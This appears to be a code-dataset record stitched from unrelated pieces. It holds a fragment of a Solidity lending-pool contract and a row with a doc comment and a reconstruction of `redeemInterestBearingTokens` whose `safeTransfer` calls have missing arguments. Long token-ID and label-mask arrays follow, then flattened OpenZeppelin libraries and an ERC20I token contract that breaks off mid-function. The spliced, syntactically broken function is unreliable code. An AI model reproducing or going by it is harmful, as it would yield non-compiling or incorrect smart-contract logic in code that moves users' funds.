* @param tokenAddresses : array of protocol tokens
* @param protocolAmounts : array of amounts to be minted
* @return : net value in underlying
*/
function _mintWithAmounts(address[] memory tokenAddresses, uint256[] memory protocolAmounts) internal {
// mint for each protocol and update currentTokensUsed
uint256 currAmount;
address protWrapper;
for (uint256 i = 0; i < protocolAmounts.length; i++) {
currAmount = protocolAmounts[i];
if (currAmount == 0) {
continue;
}
protWrapper = protocolWrappers[tokenAddresses[i]];
// Transfer _amount underlying token (eg. DAI) to protWrapper
IERC20(token).safeTransfer(protWrapper, currAmount);
ILendingProtocol(protWrapper).mint();
}
}
/**
* Calculate amounts from percentage allocations (100000 => 100%)
*
* @param allocations : array of protocol allocations in percentage
* @param total : total amount
* @return : array with amounts
*/
function _amountsFromAllocations(uint256[] memory allocations, uint256 total)
internal pure returns (uint256[] memory newAmounts) {
newAmounts = new uint256[](allocations.length);
uint256 currBalance;
uint256 allocatedBalance;
for (uint256 i = 0; i < allocations.length; i++) {
if (i == allocations.length - 1) {
newAmounts[i] = total.sub(allocatedBalance);
} else {
currBalance = total.mul(allocations[i]).div(FULL_ALLOC);
allocatedBalance = allocatedBalance.add(currBalance);
newAmounts[i] = currBalance;
}
}
return newAmounts;
}
/**
* Redeem all underlying needed from each protocol
*
* @param tokenAddresses : array of protocol tokens addresses
* @param amounts : array with current allocations in underlying
* @param newAmounts : array with new allocations in underlying
* @return toMintAllocations : array with amounts to be minted
* @return totalToMint : total amount that needs to be minted
*/
function _redeemAllNeeded(
address[] memory tokenAddresses,
uint256[] memory amounts,
uint256[] memory newAmounts
) internal returns (
uint256[] memory toMintAllocations,
uint256 totalToMint,
bool lowLiquidity
) {
toMintAllocations = new uint256[](amounts.length);
ILendingProtocol protocol;
uint256 currAmount;
uint256 newAmount;
address currToken;
// check the difference between amounts and newAmounts
for (uint256 i = 0; i < amounts.length; i++) {
currToken = tokenAddresses[i];
newAmount = newAmounts[i];
currAmount = amounts[i];
protocol = ILendingProtocol(protocolWrappers[currToken]);
if (currAmount > newAmount) {
uint256 toRedeem = currAmount.sub(newAmount);
uint256 availableLiquidity = protocol.availableLiquidity();
if (availableLiquidity < toRedeem) {
lowLiquidity = true;
toRedeem = availableLiquidity;
}
// redeem the difference
_redeemProtocolTokens(
currToken,
// convert amount from underlying to protocol token
toRedeem.mul(ONE_18).div(protocol.getPriceInToken()),
address(this) // tokens are now in this contract
);
} else {
toMintAllocations[i] = newAmount.sub(currAmount);
totalToMint = totalToMint.add(toMintAllocations[i]);
}
}
}
/**
* Get the contract balance of every protocol currently used
*
* @return tokenAddresses : array with all token addresses used,
* eg [cTokenAddress, iTokenAddress]
* @return amounts : array with all amounts for each protocol in order,
* eg [amountCompoundInUnderlying, amountFulcrumInUnderlying]
* @return total : total AUM in underlying
*/
function _getCurrentAllocations() internal view
returns (address[] memory tokenAddresses, uint256[] memory amounts, uint256 total) {
// Get balance of every protocol implemented
tokenAddresses = new address[](allAvailableTokens.length);
amounts = new uint256[](allAvailableTokens.length);
address currentToken;
uint256 currTokenPrice;
for (uint256 i = 0; i < allAvailableTokens.length; i++) {
currentToken = allAvailableTokens[i];
tokenAddresses[i] = currentToken;
currTokenPrice = ILendingProtocol(protocolWrappers[currentToken]).getPriceInToken();
amounts[i] = currTokenPrice.mul(
IERC20(currentToken).balanceOf(address(this))
).div(ONE_18);
total = total.add(amounts[i]);
}
// return addresses and respective amounts in underlying
return (tokenAddresses, amounts, total);
}
/**
* Get the current pool value in underlying
*
* @return total : total AUM in underlying
*/
function _getCurrentPoolValue() internal view
returns (uint256 total) {
// Get balance of every protocol implemented
address currentToken;
for (uint256 i = 0; i < allAvailableTokens.length; i++) {
currentToken = allAvailableTokens[i];
total = total.add(ILendingProtocol(protocolWrappers[currentToken]).getPriceInToken().mul(
IERC20(currentToken).balanceOf(address(this))
).div(ONE_18));
}
// add unlent balance
total = total.add(IERC20(token).balanceOf(address(this)));
}
/**
* Check that no mint has been made in the same block from the same EOA
*/
function _checkMintRedeemSameTx() private view {
require(keccak256(abi.encodePacked(tx.origin, block.number)) != _minterBlock, "IDLE:REENTR");
}
// ILendingProtocols calls
/**
* Redeem underlying tokens through protocol wrapper
*
* @param _amount : amount of `_token` to redeem
* @param _token : protocol token address
* @param _account : should be msg.sender when rebalancing and final user when redeeming
* @return tokens : new tokens minted
*/
function _redeemProtocolTokens(address _token, uint256 _amount, address _account)
internal
returns (uint256 tokens) {
if (_amount == 0) {
return tokens;
}
// Transfer _amount of _protocolToken (eg. cDAI) to _wrapperAddr
IERC20(_token).safeTransfer(protocolWrappers[_token], _amount);
tokens = ILendingProtocol(protocolWrappers[_token]).redeem(_account);
}
}
| * Here we calc the pool share one can withdraw given the amount of IdleToken they want to burn and send interest-bearing tokens (eg. cDAI/iDAI) directly to the user. Underlying (eg. DAI) is not redeemed here. @param _amount : amount of IdleTokens to be burned/ | function redeemInterestBearingTokens(uint256 _amount)
external nonReentrant {
_checkMintRedeemSameTx();
_redeemGovTokens(msg.sender, false);
uint256 idleSupply = totalSupply();
address currentToken;
for (uint256 i = 0; i < allAvailableTokens.length; i++) {
currentToken = allAvailableTokens[i];
IERC20(currentToken).safeTransfer(
msg.sender,
);
}
msg.sender,
);
_burn(msg.sender, _amount);
}
| 14,054,429 | [
1,
26715,
732,
7029,
326,
2845,
7433,
1245,
848,
598,
9446,
864,
326,
3844,
434,
28156,
1345,
2898,
2545,
358,
18305,
471,
1366,
16513,
17,
29400,
310,
2430,
261,
1332,
18,
276,
9793,
45,
19,
77,
9793,
45,
13,
5122,
358,
326,
729,
18,
21140,
6291,
261,
1332,
18,
463,
18194,
13,
353,
486,
283,
24903,
329,
2674,
18,
225,
389,
8949,
294,
3844,
434,
28156,
5157,
358,
506,
18305,
329,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
283,
24903,
29281,
1919,
5968,
5157,
12,
11890,
5034,
389,
8949,
13,
203,
565,
3903,
1661,
426,
8230,
970,
288,
203,
1377,
389,
1893,
49,
474,
426,
24903,
8650,
4188,
5621,
203,
203,
1377,
389,
266,
24903,
43,
1527,
5157,
12,
3576,
18,
15330,
16,
629,
1769,
203,
203,
1377,
2254,
5034,
12088,
3088,
1283,
273,
2078,
3088,
1283,
5621,
203,
1377,
1758,
23719,
31,
203,
203,
1377,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
777,
5268,
5157,
18,
2469,
31,
277,
27245,
288,
203,
3639,
23719,
273,
777,
5268,
5157,
63,
77,
15533,
203,
3639,
467,
654,
39,
3462,
12,
2972,
1345,
2934,
4626,
5912,
12,
203,
1850,
1234,
18,
15330,
16,
203,
3639,
11272,
203,
1377,
289,
203,
3639,
1234,
18,
15330,
16,
203,
1377,
11272,
203,
203,
1377,
389,
70,
321,
12,
3576,
18,
15330,
16,
389,
8949,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/math/Math.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// File: @openzeppelin/contracts/utils/structs/EnumerableSet.sol
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: ERC20I.sol
pragma solidity ^0.8.0;
/*
ERC20I (ERC20 0xInuarashi Edition)
Minified and Gas Optimized
Contributors: 0xInuarashi (Message to Martians, Anonymice), 0xBasset (Ether Orcs)
*/
contract ERC20I {
// Token Params
string public name;
string public symbol;
constructor(string memory name_, string memory symbol_) {
name = name_;
symbol = symbol_;
}
// Decimals
uint8 public constant decimals = 18;
// Supply
uint256 public totalSupply;
// Mappings of Balances
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
// Events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// Internal Functions
function _mint(address to_, uint256 amount_) internal virtual {
totalSupply += amount_;
balanceOf[to_] += amount_;
emit Transfer(address(0x0), to_, amount_);
}
function _burn(address from_, uint256 amount_) internal virtual {
